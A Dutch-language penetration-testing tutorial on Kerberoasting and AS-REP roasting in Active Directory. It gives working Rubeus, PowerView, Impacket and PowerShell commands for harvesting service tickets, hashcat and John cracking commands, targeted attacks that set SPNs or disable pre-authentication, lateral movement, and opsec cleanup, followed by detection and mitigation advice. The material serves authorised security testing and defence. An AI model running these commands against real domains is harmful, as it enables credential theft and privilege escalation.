Kerberoasting van A tot Z
Kerberoasting is een van de meest effectieve aanvalstechnieken tegen Active Directory-omgevingen. Het maakt misbruik van het Kerberos-authenticatieprotocol om service account-wachtwoorden offline te kraken. In deze tutorial doorlopen we het volledige proces: van theorie tot exploitatie, inclusief AS-REP roasting als aanvullende techniek.
Niveau: Gevorderd
Let op — Voer deze aanvallen uitsluitend uit in geautoriseerde testomgevingen. Kerberoasting tegen productieomgevingen zonder toestemming is strafbaar.
Vereisten
- Toegang tot een Active Directory-domein (als domeingebruiker)
- Windows-werkstation of Linux-aanvalsmachine met Kali/Parrot
- Tools: Rubeus, PowerView, Impacket, hashcat of John the Ripper
- Incompetent Bastard (IB) draaiend op je aanvalsmachine
- Basiskennis van Active Directory en Kerberos
Kerberos Theorie
Het Kerberos-protocol in het kort
Kerberos is het standaard authenticatieprotocol in Active Directory. Het werkt met tickets in plaats van wachtwoorden die over het netwerk worden verstuurd.
De drie hoofdcomponenten:
- KDC (Key Distribution Center) — Draait op de Domain Controller
- TGT (Ticket Granting Ticket) — Bewijst identiteit van de gebruiker
- TGS (Ticket Granting Service) — Geeft toegang tot een specifieke service
De authenticatieflow
Gebruiker KDC (DC) Service
| | |
|--- AS-REQ (credentials) -->| |
|<-- AS-REP (TGT) ----------| |
| | |
|--- TGS-REQ (TGT + SPN) -->| |
|<-- TGS-REP (TGS ticket) --| |
| | |
|--- AP-REQ (TGS ticket) ---|--------------------------->|
|<-- AP-REP (access) -------|----------------------------|
Service Principal Names (SPNs)
Een SPN is een unieke identifier voor een service-instantie. SPNs worden gekoppeld aan het Active Directory-account dat de service uitvoert. Voorbeelden:
MSSQLSvc/sqlserver.lab.local:1433
HTTP/webserver.lab.local
CIFS/fileserver.lab.local
Waarom Kerberoasting werkt
Het TGS-ticket wordt versleuteld met de hash van het service account-wachtwoord. Elke domeingebruiker kan een TGS-ticket aanvragen voor elke service met een SPN. Dit betekent:
- Je vraagt een TGS-ticket aan voor een service
- Het ticket is versleuteld met de wachtwoordhash van het service account
- Je exporteert het ticket en kraakt het offline
- Geen extra privileges nodig, alleen een geldig domeinaccount
RC4 versus AES encryptie
| Encryptie | Hashtype | Kraaksnelheid | Detectiekans |
|---|---|---|---|
| RC4 (etype 23) | NTLM hash | Zeer snel | Lager |
| AES-128 (etype 17) | AES key | Langzaam | Hoger |
| AES-256 (etype 18) | AES key | Zeer langzaam | Hoger |
Moderne AD-omgevingen gebruiken standaard AES. RC4-tickets zijn veel sneller te kraken, maar het expliciet aanvragen van RC4 kan detectie triggeren (encryption downgrade).
Stap 1: SPNs Vinden
Met PowerView
# Importeer PowerView
Import-Module .\PowerView.ps1
# Vind alle gebruikersaccounts met een SPN
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description
# Filter op interessante accounts (admin, service, etc.)
Get-DomainUser -SPN | Where-Object {
$_.memberof -match 'Admin' -or $_.description -match 'admin'
} | Select-Object samaccountname, serviceprincipalname, memberofMet de AD PowerShell-module
# Zoek accounts met SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, MemberOf |
Select-Object Name, ServicePrincipalName, MemberOfMet Rubeus (statistieken)
# Bekijk Kerberoast-statistieken zonder tickets aan te vragen
.\Rubeus.exe kerberoast /statsDit toont het aantal Kerberoastbare accounts, gesorteerd op encryptietype.
IB — Het commando kerb_kerberoast in de
IB command library bevat de Rubeus-commando’s voor zowel statistieken
als daadwerkelijke Kerberoast-aanvallen.
Vanaf Linux met Impacket
# GetUserSPNs: vind accounts met SPNs
impacket-GetUserSPNs lab.local/jdoe:Welkom01 -dc-ip 10.10.10.1
# Met output naar bestand voor hashcat
impacket-GetUserSPNs lab.local/jdoe:Welkom01 -dc-ip 10.10.10.1 -outputfile kerberoast_hashes.txtStap 2: TGS-tickets Aanvragen
Met Rubeus
# Kerberoast alle accounts met SPNs
.\Rubeus.exe kerberoast /outfile:C:\Windows\tasks\hashes.txt
# Specifiek account targeten
.\Rubeus.exe kerberoast /user:svcadmin /simple
# RC4 opsec modus (alleen accounts die al RC4 ondersteunen)
.\Rubeus.exe kerberoast /stats /rc4opsec
.\Rubeus.exe kerberoast /rc4opsec /outfile:C:\Windows\tasks\hashes.txtMet PowerShell (zonder tools)
# Native PowerShell Kerberoasting (geen extra tools nodig)
Add-Type -AssemblyName System.IdentityModel
$spn = "MSSQLSvc/sqlserver.lab.local:1433"
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
$bytes = $ticket.GetRequest()
# Exporteer als base64 voor offline verwerking
[System.Convert]::ToBase64String($bytes)Stap 3: Offline Kraken
Met hashcat
# Kerberoast RC4 tickets (mode 13100)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# Kerberoast AES-256 tickets (mode 19700)
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# Met meerdere regels voor betere dekking
hashcat -m 13100 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.ruleMet John the Ripper
# Automatische detectie van hashtype
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Met regels
john --wordlist=wordlist.txt --rules=best64 hashes.txt
# Resultaten bekijken
john --show hashes.txtEffectieve woordlijsten
Voor service accounts zijn specifieke patronen effectief:
# Genereer wachtwoorden op basis van seizoen + jaar
for s in Lente Zomer Herfst Winter Spring Summer Autumn Fall; do
for y in 2023 2024 2025 2026; do
echo "${s}${y}"
echo "${s}${y}!"
echo "${s}@${y}"
done
done > seasonal_passwords.txt
# Combineer met standaard woordlijsten
cat /usr/share/wordlists/rockyou.txt seasonal_passwords.txt > combined.txtStap 4: Resultaten Gebruiken
Na het kraken van een service account-wachtwoord kun je:
# Inloggen als het service account
runas /user:lab.local\svcadmin cmd.exe
# Pass-the-Hash als je de NTLM hash hebt
.\Rubeus.exe asktgt /user:svcadmin /password:Geheim123! /ptt
# Laterale beweging naar systemen waar het account rechten heeft
Enter-PSSession -ComputerName sqlserver.lab.local -Credential $credTargeted Kerberoasting
Als je GenericWrite, GenericAll of WriteProperty rechten hebt op een gebruikersaccount, kun je zelf een SPN instellen en het account Kerberoastbaar maken.
Stap voor stap
# Stap 1: Check je ACL-rechten
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object { $_.IdentityReferenceName -match 'jdoe' }
# Stap 2: Check of het doelaccount al een SPN heeft
Get-DomainUser -Identity targetadmin | Select-Object serviceprincipalname
# Stap 3: Stel een SPN in (moet uniek zijn in het domein)
Set-DomainObject -Identity targetadmin -Set @{serviceprincipalname='custom/kerberoast'}
# Stap 4: Kerberoast het account
.\Rubeus.exe kerberoast /user:targetadmin /outfile:C:\Windows\tasks\targeted_hash.txt
# Stap 5: Kraken
john --wordlist=wordlist.txt targeted_hash.txt
# Stap 6: Ruim de SPN op (opsec!)
Set-DomainObject -Identity targetadmin -Clear serviceprincipalnameIB — Het commando
kerb_targeted_kerberoast bevat het volledige targeted
Kerberoasting-stappenplan inclusief de opruimstap.
AS-REP Roasting: De Aanvullende Techniek
AS-REP roasting is vergelijkbaar met Kerberoasting, maar richt zich op accounts waarvoor Kerberos pre-authenticatie is uitgeschakeld.
Verschil met Kerberoasting
| Eigenschap | Kerberoasting | AS-REP Roasting |
|---|---|---|
| Doelwit | Accounts met SPN | Accounts zonder pre-auth |
| Ticket type | TGS (service ticket) | AS-REP (authentication) |
| Versleuteling | Service account hash | Gebruiker’s eigen hash |
| Hashcat mode | 13100 (RC4) / 19700 (AES) | 18200 |
| Vereiste rechten | Domeingebruiker | Geen (alleen gebruikersnaam) |
Accounts vinden zonder pre-authenticatie
# Met PowerView
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname, distinguishedname
# Met AD PowerShell-module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuthAS-REP hashes ophalen
# Met Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:C:\Windows\tasks\asrep_hashes.txt
# Specifiek account
.\Rubeus.exe asreproast /user:targetuser /format:hashcat /outfile:C:\Windows\tasks\asrep_hashes.txt# Vanaf Linux met Impacket
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep_hashes.txtKraken
# Hashcat mode 18200 voor AS-REP hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.ruleIB — Het commando kerb_asreproast bevat
alle stappen voor AS-REP roasting, inclusief het opzetten van targeted
AS-REP roasting via GenericWrite.
Targeted AS-REP Roasting
Als je GenericWrite rechten hebt, kun je pre-authenticatie uitschakelen:
# Disable pre-auth (UAC flag 4194304 = DONT_REQUIRE_PREAUTH)
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304} -Verbose
# AS-REP roast
.\Rubeus.exe asreproast /user:targetuser /format:hashcat
# Herstel pre-auth (opsec!)
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304} -VerboseIB en kerberos.sh
IB bevat een kerberos.sh-script dat automatisch
Kerberos-gerelateerde services scant in je scope. Het script:
- Zoekt hosts met Kerberos-services via
search.sh - Identificeert het domein via CrackMapExec
- Voert Kerberos-enumeratie uit met nmap (krb5-enum-users)
- Gebruikt ldapsearch voor gebruikersinformatie
# Gebruik: geef het projectnaam mee
./kerberos.sh projectnaamIB — Alle Kerberos-commando’s zijn te vinden onder
het kerb_ prefix in de command library. Van
kerb_kerberoast tot kerb_golden_ticket, elk
met uitleg en opsec-tips.
Detectie en Mitigatie
Detectie-indicatoren
- Event ID 4769 (Kerberos Service Ticket Operations) met encryption type 0x17 (RC4) kan wijzen op een Kerberoast-aanval
- Grote hoeveelheden TGS-aanvragen van een enkel account
- TGS-aanvragen voor ongebruikelijke services
Mitigatie-aanbevelingen
- Managed Service Accounts (gMSA) — Automatisch geroteerde, lange wachtwoorden
- Lange wachtwoorden — Minimaal 25+ tekens voor service accounts
- AES-only — Schakel RC4 uit waar mogelijk
- Monitoring — Detecteer abnormale TGS-aanvragen
- Regelmatige audits — Controleer SPNs en pre-auth-instellingen
# Audit: vind accounts met zwakke encryptie-instellingen
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes |
Where-Object { $_.'msDS-SupportedEncryptionTypes' -band 4 } |
Select-Object Name, ServicePrincipalNameSamenvatting
Kerberoasting is een krachtige aanvalstechniek die elke pentester moet beheersen. Het vereist slechts een geldig domeinaccount en levert potentieel toegang tot service accounts met hoge privileges. De belangrijkste punten:
- Kerberoasting werkt omdat TGS-tickets versleuteld zijn met de service account-hash
- Elke domeingebruiker kan TGS-tickets aanvragen voor elke SPN
- RC4-tickets zijn veel sneller te kraken dan AES
- Targeted Kerberoasting vereist schrijfrechten op het doelaccount
- AS-REP roasting is de complement voor accounts zonder pre-authenticatie
- Gebruik gMSA en lange wachtwoorden als mitigatie
- Documenteer gevonden zwakke wachtwoorden en hun impact in je rapport
IB — Gebruik het findings-systeem in IB om Kerberoasting-resultaten als bevindingen vast te leggen met de juiste CVSS-score en MITRE ATT&CK-referentie (T1558.003).